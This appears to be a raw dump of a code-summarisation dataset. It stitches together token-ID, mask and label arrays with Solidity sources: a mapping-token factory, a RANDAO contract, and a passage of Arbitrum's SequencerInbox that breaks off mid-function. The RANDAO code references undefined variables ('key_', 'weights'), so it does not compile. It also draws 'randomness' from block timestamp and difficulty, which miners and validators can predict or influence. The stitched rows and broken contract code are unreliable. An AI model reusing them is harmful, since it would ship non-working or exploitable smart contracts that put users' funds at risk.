20137,
8141,
1887,
5033,
12,
2867,
389,
2704,
5147,
8141,
1887,
1769,
203,
565,
871,
511,
3378,
40,
1345,
1887,
5033,
12,
2867,
389,
2704,
48,
3378,
40,
1345,
1887,
1769,
203,
565,
871,
8857,
2864,
1887,
5033,
12,
2867,
389,
3535,
2864,
1887,
1769,
203,
565,
871,
2989,
2864,
1887,
5033,
12,
2867,
389,
1886,
2864,
1887,
1769,
203,
565,
871,
934,
2967,
2864,
1887,
5033,
12,
2867,
389,
334,
2967,
2864,
1887,
1769,
203,
565,
871,
31849,
2864,
1887,
5033,
12,
2867,
389,
31604,
2864,
1887,
1769,
203,
565,
871,
17596,
7719,
10103,
2864,
1887,
5033,
12,
2867,
389,
12910,
7719,
10103,
2864,
1887,
1769,
203,
565,
871,
13717,
56,
303,
3324,
1887,
5033,
12,
2867,
389,
10350,
56,
303,
3324,
1887,
1769,
203,
565,
871,
511,
53,
5538,
1345,
1887,
5033,
12,
2867,
389,
80,
85,
4098,
1345,
1887,
1769,
203,
565,
871,
511,
53,
5538,
510,
6159,
1887,
5033,
12,
2867,
389,
80,
85,
4098,
510,
6159,
1887,
1769,
203,
203,
565,
871,
511,
18988,
350,
367,
12,
11890,
389,
549,
26595,
690,
758,
23602,
16,
2254,
389,
549,
26595,
690,
13535,
16,
2254,
389,
12910,
27998,
2945,
25159,
16,
2254,
389,
48,
3378,
40,
27998,
2945,
25159,
1769,
203,
565,
871,
868,
19117,
375,
12,
11890,
389,
11764,
329,
48,
3378,
40,
6275,
16,
2254,
389,
18672,
48,
2
]
|
./full_match/4/0xc018A8335d9529A2A3584DB73D934c874AB7b710/sources/test_contract.sol | Team cant change provenance had after this gets true
| bool imgprovenanceLocked = false; | 12,514,864 | [
1,
8689,
848,
88,
2549,
24185,
9323,
1839,
333,
5571,
638,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
1426,
3774,
25630,
8966,
273,
629,
31,
3639,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@zeppelin-solidity-4.4.0/contracts/proxy/utils/Initializable.sol";
import "@zeppelin-solidity-4.4.0/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "../../utils/DailyLimit.sol";
import "../../utils/Ownable.sol";
import "../../utils/Pausable.sol";
import "../interfaces/IERC20.sol";
import "./MappingTokenAddress.sol";
contract BasicMappingTokenFactory is Initializable, Ownable, DailyLimit, MappingTokenAddress, Pausable {
struct OriginalInfo {
// 0 - NativeToken
// 1 - Erc20Token
// ...
uint32 tokenType;
address backing_address;
address original_token;
}
// the mapping token list
address[] public allMappingTokens;
// salt=>mapping_token, the salt is derived from origin token on backing chain
// so this is a mapping from origin to mapping token
mapping(bytes32 => address) public salt2MappingToken;
// mapping_token=>info the info is the original token info
// so this is a mapping from mapping_token to original token
mapping(address => OriginalInfo) public mappingToken2OriginalInfo;
// tokenType=>Logic
// tokenType comes from original token, the logic contract is used to create the mapping-token contract
mapping(uint32 => address) public tokenType2Logic;
event NewLogicSetted(uint32 tokenType, address addr);
event IssuingERC20Created(address backing_address, address original_token, address mapping_token);
event MappingTokenUpdated(bytes32 salt, address old_address, address new_address);
receive() external payable {
}
function initialize() public initializer {
ownableConstructor();
}
/**
* @dev Throws if called by any account other than the system account defined by SYSTEM_ACCOUNT address.
*/
modifier onlySystem() {
require(SYSTEM_ACCOUNT == msg.sender, "System: caller is not the system account");
_;
}
function setDailyLimit(address mapping_token, uint amount) public onlyOwner {
_setDailyLimit(mapping_token, amount);
}
function changeDailyLimit(address mapping_token, uint amount) public onlyOwner {
_changeDailyLimit(mapping_token, amount);
}
function setTokenContractLogic(uint32 tokenType, address logic) external onlyOwner {
tokenType2Logic[tokenType] = logic;
emit NewLogicSetted(tokenType, logic);
}
function unpause() external onlyOwner {
_unpause();
}
function pause() external onlyOwner {
_pause();
}
function transferMappingTokenOwnership(address mapping_token, address new_owner) external onlyOwner {
Ownable(mapping_token).transferOwnership(new_owner);
}
// add new mapping token address
function addMappingToken(address backing_address, address original_token, address mapping_token, uint32 token_type) external onlyOwner {
bytes32 salt = keccak256(abi.encodePacked(backing_address, original_token));
address existed = salt2MappingToken[salt];
require(existed == address(0), "the mapping token exist");
allMappingTokens.push(mapping_token);
mappingToken2OriginalInfo[mapping_token] = OriginalInfo(token_type, backing_address, original_token);
salt2MappingToken[salt] = mapping_token;
emit MappingTokenUpdated(salt, existed, mapping_token);
}
// update the mapping token address when the mapping token contract deployed before
function updateMappingToken(address backing_address, address original_token, address new_mapping_token, uint index) external onlyOwner {
bytes32 salt = keccak256(abi.encodePacked(backing_address, original_token));
address existed = salt2MappingToken[salt];
require(salt2MappingToken[salt] != address(0), "the mapping token not exist");
require(tokenLength() > index && allMappingTokens[index] == existed, "invalid index");
allMappingTokens[index] = new_mapping_token;
OriginalInfo memory info = mappingToken2OriginalInfo[existed];
delete mappingToken2OriginalInfo[existed];
mappingToken2OriginalInfo[new_mapping_token] = info;
salt2MappingToken[salt] = new_mapping_token;
emit MappingTokenUpdated(salt, existed, new_mapping_token);
}
// internal
function deploy(bytes32 salt, bytes memory code) internal returns (address addr) {
assembly {
addr := create2(0, add(code, 0x20), mload(code), salt)
if iszero(extcodesize(addr)) { revert(0, 0) }
}
}
// view
function tokenLength() public view returns (uint) {
return allMappingTokens.length;
}
function mappingToken(address backing_address, address original_token) public view returns (address) {
bytes32 salt = keccak256(abi.encodePacked(backing_address, original_token));
return salt2MappingToken[salt];
}
// only system
// create new erc20 mapping token contract
// save and manage the token list
function newErc20Contract(
uint32 tokenType,
string memory name,
string memory symbol,
uint8 decimals,
address backing_address,
address original_token
) public virtual onlySystem whenNotPaused returns (address mapping_token) {
require(tokenType == 0 || tokenType == 1, "token type cannot mapping to erc20 token");
// backing_address and original_token pack a unique new contract salt
bytes32 salt = keccak256(abi.encodePacked(backing_address, original_token));
require(salt2MappingToken[salt] == address(0), "contract has been deployed");
bytes memory bytecode = type(TransparentUpgradeableProxy).creationCode;
bytes memory bytecodeWithInitdata = abi.encodePacked(bytecode, abi.encode(tokenType2Logic[tokenType], address(DEAD_ADDRESS), ""));
mapping_token = deploy(salt, bytecodeWithInitdata);
IMappingToken(mapping_token).initialize(name, symbol, decimals);
salt2MappingToken[salt] = mapping_token;
// save the mapping tokens in an array so it can be listed
allMappingTokens.push(mapping_token);
// map the mapping_token to origin info
mappingToken2OriginalInfo[mapping_token] = OriginalInfo(tokenType, backing_address, original_token);
emit IssuingERC20Created(backing_address, original_token, mapping_token);
}
function issueMappingToken(address mapping_token, address recipient, uint256 amount) public virtual onlySystem whenNotPaused {
require(amount > 0, "can not receive amount zero");
OriginalInfo memory info = mappingToken2OriginalInfo[mapping_token];
require(info.original_token != address(0), "token is not created by factory");
expendDailyLimit(mapping_token, amount);
IERC20(mapping_token).mint(recipient, amount);
}
}
| update the mapping token address when the mapping token contract deployed before | function updateMappingToken(address backing_address, address original_token, address new_mapping_token, uint index) external onlyOwner {
bytes32 salt = keccak256(abi.encodePacked(backing_address, original_token));
address existed = salt2MappingToken[salt];
require(salt2MappingToken[salt] != address(0), "the mapping token not exist");
require(tokenLength() > index && allMappingTokens[index] == existed, "invalid index");
allMappingTokens[index] = new_mapping_token;
OriginalInfo memory info = mappingToken2OriginalInfo[existed];
delete mappingToken2OriginalInfo[existed];
mappingToken2OriginalInfo[new_mapping_token] = info;
salt2MappingToken[salt] = new_mapping_token;
emit MappingTokenUpdated(salt, existed, new_mapping_token);
}
| 15,874,216 | [
1,
2725,
326,
2874,
1147,
1758,
1347,
326,
2874,
1147,
6835,
19357,
1865,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1089,
3233,
1345,
12,
2867,
15394,
67,
2867,
16,
1758,
2282,
67,
2316,
16,
1758,
394,
67,
6770,
67,
2316,
16,
2254,
770,
13,
3903,
1338,
5541,
288,
203,
3639,
1731,
1578,
4286,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
823,
310,
67,
2867,
16,
2282,
67,
2316,
10019,
203,
3639,
1758,
20419,
273,
4286,
22,
3233,
1345,
63,
5759,
15533,
203,
3639,
2583,
12,
5759,
22,
3233,
1345,
63,
5759,
65,
480,
1758,
12,
20,
3631,
315,
5787,
2874,
1147,
486,
1005,
8863,
203,
3639,
2583,
12,
2316,
1782,
1435,
405,
770,
597,
777,
3233,
5157,
63,
1615,
65,
422,
20419,
16,
315,
5387,
770,
8863,
203,
3639,
777,
3233,
5157,
63,
1615,
65,
273,
394,
67,
6770,
67,
2316,
31,
203,
3639,
19225,
966,
3778,
1123,
273,
2874,
1345,
22,
8176,
966,
63,
7398,
329,
15533,
203,
3639,
1430,
2874,
1345,
22,
8176,
966,
63,
7398,
329,
15533,
203,
3639,
2874,
1345,
22,
8176,
966,
63,
2704,
67,
6770,
67,
2316,
65,
273,
1123,
31,
203,
3639,
4286,
22,
3233,
1345,
63,
5759,
65,
273,
394,
67,
6770,
67,
2316,
31,
203,
3639,
3626,
9408,
1345,
7381,
12,
5759,
16,
20419,
16,
394,
67,
6770,
67,
2316,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "openzeppelin-solidity/contracts/GSN/Context.sol";
import "../COMMITTEDAO.sol";
import "./IRandom.sol";
/**
* @dev Contract module which calculates a random number via DAO.
*
* TODO:
*
* - adding VDF (verifiable delay functions) or VRF (verifiable random functions) .
*
* References:
*
* - https://github.com/randao/randao
* - https://our.status.im/two-point-oh-randomness/
*/
contract RANDAO is Context, COMMITTEDAO, IRandom {
uint256 private seed;
constructor (
// ...
) public {
// TODO: MUST require staking to enter DAO.
// ...
}
/**
* @dev Adds more randomness and robustness.
*/
function defaultRandom(
// ...
) internal returns (
uint256 randomNumber
) {
randomNumber = uint256(keccak256(abi.encodePacked(
block.timestamp,
block.difficulty,
seed
)));
seed += 1;
}
/**
* @dev Requests a random number.
*/
function randomRequest(
uint256 commitTimeLimit_,
uint256 revealTimeLimit_
) public returns (
bytes32 key_,
uint256 campaignNum_
) {
// "random"
bytes32 name_ = 0x72616e646f6d0000000000000000000000000000000000000000000000000000;
bytes32[] memory arguments_ = new bytes32[](0);
return cSendRequest(name_, arguments_, commitTimeLimit_, revealTimeLimit_);
}
/**
* @dev Gets the random number requested.
*/
function random(
uint256 campaignNum
) public override returns (
uint256 randomNumber
) {
// "random"
bytes32 name_ = 0x72616e646f6d0000000000000000000000000000000000000000000000000000;
bytes32[] memory arguments_ = new bytes32[](0);
randomNumber = cResolveRequest(name_, arguments_, key_);
randomNumber ^= defaultRandom();
emit RandomNumber(randomNumber);
}
/**
* @dev Commits hidden number at the campaign.
*/
function commitAt(
uint256 campaignNum,
bytes32 commitment_
) public returns (bool) {
return _commitAt(campaignNum, commitment_);
}
/**
* @dev Makes hidden number public with `secret_` and `seed_`.
*/
function revealAt(
uint256 campaignNum,
uint256 secret_,
uint256 seed_
) public returns (bool) {
return _revealAt(campaignNum, secret_, seed_);
}
/**
* @dev Votes the campaign.
*/
function hiddenVoteAt(
uint256 campaignNum,
bytes32 commitment_
) public returns (bool) {
return _hiddenVoteAt(campaignNum, commitment_);
}
/**
* @dev Reveals vote.
*/
function revealVoteAt(
uint256 campaignNum,
bool agree_,
uint256 seed_
) public returns (bool) {
// // TODO: Implement 'depositOf'.
// address msgSender = _msgSender();
// int256 weights_ = int256(depositOf(msgSender));
// if (!agree_) {
// weights_ *= (-1);
// }
return _revealVoteAt(campaignNum, weights, seed_);
}
}
| * @dev Requests a random number./ "random" | function randomRequest(
uint256 commitTimeLimit_,
uint256 revealTimeLimit_
) public returns (
bytes32 key_,
uint256 campaignNum_
) {
bytes32 name_ = 0x72616e646f6d0000000000000000000000000000000000000000000000000000;
bytes32[] memory arguments_ = new bytes32[](0);
return cSendRequest(name_, arguments_, commitTimeLimit_, revealTimeLimit_);
}
| 12,794,772 | [
1,
6421,
279,
2744,
1300,
18,
19,
315,
9188,
6,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2744,
691,
12,
203,
3639,
2254,
5034,
3294,
950,
3039,
67,
16,
203,
3639,
2254,
5034,
283,
24293,
950,
3039,
67,
203,
565,
262,
1071,
1135,
261,
203,
3639,
1731,
1578,
498,
67,
16,
203,
3639,
2254,
5034,
8965,
2578,
67,
203,
565,
262,
288,
203,
3639,
1731,
1578,
508,
67,
273,
374,
92,
27,
5558,
2313,
73,
1105,
26,
74,
26,
72,
12648,
12648,
12648,
12648,
12648,
12648,
2787,
31,
203,
203,
3639,
1731,
1578,
8526,
3778,
1775,
67,
273,
394,
1731,
1578,
8526,
12,
20,
1769,
203,
203,
3639,
327,
276,
3826,
691,
12,
529,
67,
16,
1775,
67,
16,
3294,
950,
3039,
67,
16,
283,
24293,
950,
3039,
67,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./interfaces/ISequencerInbox.sol";
import "./interfaces/IBridge.sol";
import "../arch/Marshaling.sol";
import "../libraries/Cloneable.sol";
import "../rollup/Rollup.sol";
import "./Messages.sol";
interface OldRollup {
function sequencerInboxMaxDelayBlocks() external view returns (uint256);
function sequencerInboxMaxDelaySeconds() external view returns (uint256);
}
contract SequencerInbox is ISequencerInbox, Cloneable {
// Sequencer-Inbox state accumulator
bytes32[] public override inboxAccs;
// Number of messages included in the sequencer-inbox; tracked seperately from inboxAccs since multiple messages can be included in a single inboxAcc update (i.e., many messages in a batch, many batches in a single inboxAccs update, etc)
uint256 public override messageCount;
// count of messages read from the delayedInbox
uint256 public totalDelayedMessagesRead;
IBridge public delayedInbox;
address private deprecatedSequencer;
address public rollup;
mapping(address => bool) public override isSequencer;
// Window in which only the Sequencer can update the Inbox; this delay is what allows the Sequencer to give receipts with sub-blocktime latency.
uint256 public override maxDelayBlocks;
uint256 public override maxDelaySeconds;
function initialize(
IBridge _delayedInbox,
address _sequencer,
address _rollup
) external {
require(address(delayedInbox) == address(0), "ALREADY_INIT");
delayedInbox = _delayedInbox;
isSequencer[_sequencer] = true;
rollup = _rollup;
// it is assumed that maxDelayBlocks and maxDelaySeconds are set by the rollup
}
function postUpgradeInit() external {
// it is assumed the sequencer inbox contract is behind a Proxy controlled by a
// proxy admin. this function can only be called by the proxy admin contract
address proxyAdmin = ProxyUtil.getProxyAdmin();
require(msg.sender == proxyAdmin, "NOT_FROM_ADMIN");
// the sequencer inbox needs to query the old rollup interface since it will be upgraded first
OldRollup _rollup = OldRollup(rollup);
maxDelayBlocks = _rollup.sequencerInboxMaxDelayBlocks();
maxDelaySeconds = _rollup.sequencerInboxMaxDelaySeconds();
isSequencer[deprecatedSequencer] = true;
}
/// @notice DEPRECATED - use isSequencer instead
function sequencer() external view override returns (address) {
return deprecatedSequencer;
}
function setIsSequencer(address addr, bool newIsSequencer) external override {
require(msg.sender == rollup, "ONLY_ROLLUP");
isSequencer[addr] = newIsSequencer;
emit IsSequencerUpdated(addr, newIsSequencer);
}
function setMaxDelay(uint256 newMaxDelayBlocks, uint256 newMaxDelaySeconds) external override {
require(msg.sender == rollup, "ONLY_ROLLUP");
maxDelayBlocks = newMaxDelayBlocks;
maxDelaySeconds = newMaxDelaySeconds;
emit MaxDelayUpdated(newMaxDelayBlocks, newMaxDelaySeconds);
}
/**
* @notice Move messages from the delayed inbox into the Sequencer inbox. Callable by any address. Necessary iff Sequencer hasn't included them before delay period expired.
*/
function forceInclusion(
uint256 _totalDelayedMessagesRead,
uint8 kind,
uint256[2] calldata l1BlockAndTimestamp,
uint256 inboxSeqNum,
uint256 gasPriceL1,
address sender,
bytes32 messageDataHash,
bytes32 delayedAcc
) external {
require(_totalDelayedMessagesRead > totalDelayedMessagesRead, "DELAYED_BACKWARDS");
{
bytes32 messageHash = Messages.messageHash(
kind,
sender,
l1BlockAndTimestamp[0],
l1BlockAndTimestamp[1],
inboxSeqNum,
gasPriceL1,
messageDataHash
);
// Can only force-include after the Sequencer-only window has expired.
require(l1BlockAndTimestamp[0] + maxDelayBlocks < block.number, "MAX_DELAY_BLOCKS");
require(l1BlockAndTimestamp[1] + maxDelaySeconds < block.timestamp, "MAX_DELAY_TIME");
// Verify that message hash represents the last message sequence of delayed message to be included
bytes32 prevDelayedAcc = 0;
if (_totalDelayedMessagesRead > 1) {
prevDelayedAcc = delayedInbox.inboxAccs(_totalDelayedMessagesRead - 2);
}
require(
delayedInbox.inboxAccs(_totalDelayedMessagesRead - 1) ==
Messages.addMessageToInbox(prevDelayedAcc, messageHash),
"DELAYED_ACCUMULATOR"
);
}
uint256 startNum = messageCount;
bytes32 beforeAcc = 0;
if (inboxAccs.length > 0) {
beforeAcc = inboxAccs[inboxAccs.length - 1];
}
(bytes32 acc, uint256 count) = includeDelayedMessages(
beforeAcc,
startNum,
_totalDelayedMessagesRead,
block.number,
block.timestamp,
delayedAcc
);
inboxAccs.push(acc);
messageCount = count;
emit DelayedInboxForced(
startNum,
beforeAcc,
count,
_totalDelayedMessagesRead,
[acc, delayedAcc],
inboxAccs.length - 1
);
}
function addSequencerL2BatchFromOrigin(
bytes calldata transactions,
uint256[] calldata lengths,
uint256[] calldata sectionsMetadata,
bytes32 afterAcc
) external {
// solhint-disable-next-line avoid-tx-origin
require(msg.sender == tx.origin, "origin only");
uint256 startNum = messageCount;
bytes32 beforeAcc = addSequencerL2BatchImpl(
transactions,
lengths,
sectionsMetadata,
afterAcc
);
emit SequencerBatchDeliveredFromOrigin(
startNum,
beforeAcc,
messageCount,
afterAcc,
inboxAccs.length - 1
);
}
/**
* @notice Sequencer adds a batch to inbox.
* @param transactions concatenated bytes of L2 messages
* @param lengths length of each txn in transctions (for parsing)
* @param sectionsMetadata Each consists of [numItems, l1BlockNumber, l1Timestamp, newTotalDelayedMessagesRead, newDelayedAcc]
* @param afterAcc Expected inbox hash after batch is added
* @dev sectionsMetadata lets the sequencer delineate new l1Block numbers and l1Timestamps within a given batch; this lets the sequencer minimize the number of batches created (and thus amortizing cost) while still giving timely receipts
*/
function addSequencerL2Batch(
bytes calldata transactions,
uint256[] calldata lengths,
uint256[] calldata sectionsMetadata,
bytes32 afterAcc
) external {
uint256 startNum = messageCount;
bytes32 beforeAcc = addSequencerL2BatchImpl(
transactions,
lengths,
sectionsMetadata,
afterAcc
);
emit SequencerBatchDelivered(
startNum,
beforeAcc,
messageCount,
afterAcc,
transactions,
lengths,
sectionsMetadata,
inboxAccs.length - 1,
msg.sender
);
}
function addSequencerL2BatchImpl(
bytes memory transactions,
uint256[] calldata lengths,
uint256[] calldata sectionsMetadata,
bytes32 afterAcc
) private returns (bytes32 beforeAcc) {
require(isSequencer[msg.sender], "ONLY_SEQUENCER");
if (inboxAccs.length > 0) {
beforeAcc = inboxAccs[inboxAccs.length - 1];
}
uint256 runningCount = messageCount;
bytes32 runningAcc = beforeAcc;
uint256 processedItems = 0;
uint256 dataOffset;
assembly {
dataOffset := add(transactions, 32)
}
for (uint256 i = 0; i + 5 <= sectionsMetadata.length; i += 5) {
// Each metadata section consists of:
// [numItems, l1BlockNumber, l1Timestamp, newTotalDelayedMessagesRead, newDelayedAcc]
{
uint256 l1BlockNumber = sectionsMetadata[i + 1];
require(l1BlockNumber + maxDelayBlocks >= block.number, "BLOCK_TOO_OLD");
require(l1BlockNumber <= block.number, "BLOCK_TOO_NEW");
}
{
uint256 l1Timestamp = sectionsMetadata[i + 2];
require(l1Timestamp + maxDelaySeconds >= block.timestamp, "TIME_TOO_OLD");
require(l1Timestamp <= block.timestamp, "TIME_TOO_NEW");
}
{
bytes32 prefixHash = keccak256(
abi.encodePacked(msg.sender, sectionsMetadata[i + 1], sectionsMetadata[i + 2])
);
uint256 numItems = sectionsMetadata[i];
(runningAcc, runningCount, dataOffset) = calcL2Batch(
dataOffset,
lengths,
processedItems,
numItems,
prefixHash,
runningCount,
runningAcc
);
processedItems += numItems;
}
uint256 newTotalDelayedMessagesRead = sectionsMetadata[i + 3];
require(newTotalDelayedMessagesRead >= totalDelayedMessagesRead, "DELAYED_BACKWARDS");
require(newTotalDelayedMessagesRead >= 1, "MUST_DELAYED_INIT");
require(
totalDelayedMessagesRead >= 1 || sectionsMetadata[i] == 0,
"MUST_DELAYED_INIT_START"
);
// Sequencer decides how many messages (if any) to include from the delayed inbox
if (newTotalDelayedMessagesRead > totalDelayedMessagesRead) {
(runningAcc, runningCount) = includeDelayedMessages(
runningAcc,
runningCount,
newTotalDelayedMessagesRead,
sectionsMetadata[i + 1], // block number
sectionsMetadata[i + 2], // timestamp
bytes32(sectionsMetadata[i + 4]) // delayed accumulator
);
}
}
uint256 startOffset;
assembly {
startOffset := add(transactions, 32)
}
require(dataOffset >= startOffset, "OFFSET_OVERFLOW");
require(dataOffset <= startOffset + transactions.length, "TRANSACTIONS_OVERRUN");
require(runningCount > messageCount, "EMPTY_BATCH");
